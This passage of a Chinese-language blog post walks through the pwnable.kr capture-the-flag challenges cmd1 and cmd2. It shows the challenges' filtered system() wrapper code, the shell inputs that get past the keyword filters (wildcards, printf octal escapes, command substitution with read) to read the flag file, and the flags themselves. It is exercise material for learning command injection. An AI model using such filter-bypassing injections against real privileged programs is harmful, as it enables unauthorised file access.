</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="n">r</span> <span class="o">+=</span> <span class="nf">strstr</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">&#34;tmp&#34;</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="k">return</span> <span class="n">r</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[],</span> <span class="kt">char</span><span class="o">**</span> <span class="n">envp</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="nf">putenv</span><span class="p">(</span><span class="s">&#34;PATH=/thankyouverymuch&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">filter</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="nf">system</span><span class="p">(</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>代码很简单，设置环境变量，路径为无效路径，<code>PATH</code>是 Linux 找命令的路径，改成无效路径后，<code>ls、cat</code>等默认命令都无法直接调用。把参数过滤一遍，命中一次敏感词计数器就加1，计数器=0，也就是绕过才行。这里通过绝对路径读flag就可以了，过滤flag就用问号星号代替。</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">cmd1@ubuntu:~$ ./cmd1 &#34;/bin/cat fla?&#34;
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">PATH_environment?_Now_I_really_g3t_it,_mommy!
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">cmd1@ubuntu:~$ ./cmd1 &#34;/bin/cat f*&#34;
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">PATH_environment?_Now_I_really_g3t_it,_mommy!
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>flag：<code>PATH_environment?_Now_I_really_g3t_it,_mommy!</code></p>
<h3 id="cmd2">cmd2<a class="anchor" href="#cmd2">#</a></h3>
<blockquote>
<p>Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission&hellip;
but I wanna play anytime I want!</p>
<p>ssh <a
  href="mailto:cmd2@pwnable.kr"
  >cmd2@pwnable.kr</a
>
 -p2222 (pw:flag of cmd1)</p>
</blockquote>
<p>密码是 cmd1 的flag：<code>PATH_environment?_Now_I_really_g3t_it,_mommy!</code></p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c1">// 加强过滤
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="kt">int</span> <span class="nf">filter</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">cmd</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="kt">int</span> <span class="n">r</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="n">r</span> <span class="o">+=</span> <span class="nf">strstr</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">&#34;=&#34;</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="n">r</span> <span class="o">+=</span> <span class="nf">strstr</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">&#34;PATH&#34;</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="n">r</span> <span class="o">+=</span> <span class="nf">strstr</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">&#34;export&#34;</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="n">r</span> <span class="o">+=</span> <span class="nf">strstr</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">&#34;/&#34;</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="n">r</span> <span class="o">+=</span> <span class="nf">strstr</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">&#34;`&#34;</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="n">r</span> <span class="o">+=</span> <span class="nf">strstr</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">&#34;flag&#34;</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="k">return</span> <span class="n">r</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="c1">// 清空所有环境变量
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">extern</span> <span class="kt">char</span><span class="o">**</span> <span class="n">environ</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="kt">void</span> <span class="nf">delete_env</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="kt">char</span><span class="o">**</span> <span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="n">p</span><span class="o">=</span><span class="n">environ</span><span class="p">;</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span> <span class="n">p</span><span class="o">++</span><span class="p">)</span> <span class="nf">memset</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[],</span> <span class="kt">char</span><span class="o">**</span> <span class="n">envp</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="nf">delete_env</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="nf">putenv</span><span class="p">(</span><span class="s">&#34;PATH=/no_command_execution_until_you_become_a_hacker&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">filter</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="nf">system</span><span class="p">(</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>tips：
参数是可执行的那种的话，单引号跟双引号是不一样的：</p>
<blockquote>
<p><span class="katex-error" title="ParseError: KaTeX parse error: LaTeX-incompatible input and strict mode is set to &#x27;error&#x27;: Unrecognized Unicode character &quot;‘&quot; (8216) [unknownSymbol] at position 9:  ./test ‘̲" style="color:#cc0000"> ./test ‘</span>(echo abc)’
argv[1] = $(echo abc)</p>
<p><span class="katex-error" title="ParseError: KaTeX parse error: LaTeX-incompatible input and strict mode is set to &#x27;error&#x27;: Unrecognized Unicode character &quot;“&quot; (8220) [unknownSymbol] at position 9:  ./test “̲" style="color:#cc0000"> ./test “</span>(echo abc)”
argv[1] = abc</p>
<p>单引号会原样传递命令，而不执行它。
双引号会先执行命令，然后将命令的输出传递出去（无法传递给过滤器）。</p>
</blockquote>
<p><code>printf</code> 是 shell 内置命令，不需要 / 路径、不需要 PATH，直接能用，语法是<code>printf &quot;格式字符串&quot; 参数1 参数2 参数3...</code>，参数以<code>\</code>开头代表是转义。
这里贴<a
  href="https://n1ght-w0lf.github.io/binary%20exploitation/cmd2/" rel="nofollow noopener noreferrer" target="_blank"
  >Abdallah Elshinbary<span style="user-select:none"> ↗</span></a
>
的wp，他是用八进制绕过的：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">./cmd2 <span class="s1">&#39;$(printf &#34;%bbin%bcat %s%s&#34; &#34;\57&#34; &#34;\57&#34; &#34;fl&#34; &#34;ag&#34;)&#39;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里发现并不需要拆flag，同样用问号就行：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">./cmd2 <span class="s1">&#39;$(printf &#34;%bbin%bcat fla?&#34; &#34;\57&#34; &#34;\57&#34;)&#39;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>另外给了一种很酷的解法：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">cmd2@ubuntu:~$ ./cmd2 &#39;$(read x; echo $x)&#39;
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="gp">$</span><span class="o">(</span><span class="nb">read</span> x<span class="p">;</span> <span class="nb">echo</span> <span class="nv">$x</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">/bin/cat flag
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">Shell_variables_can_be_quite_fun_to_play_with!
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
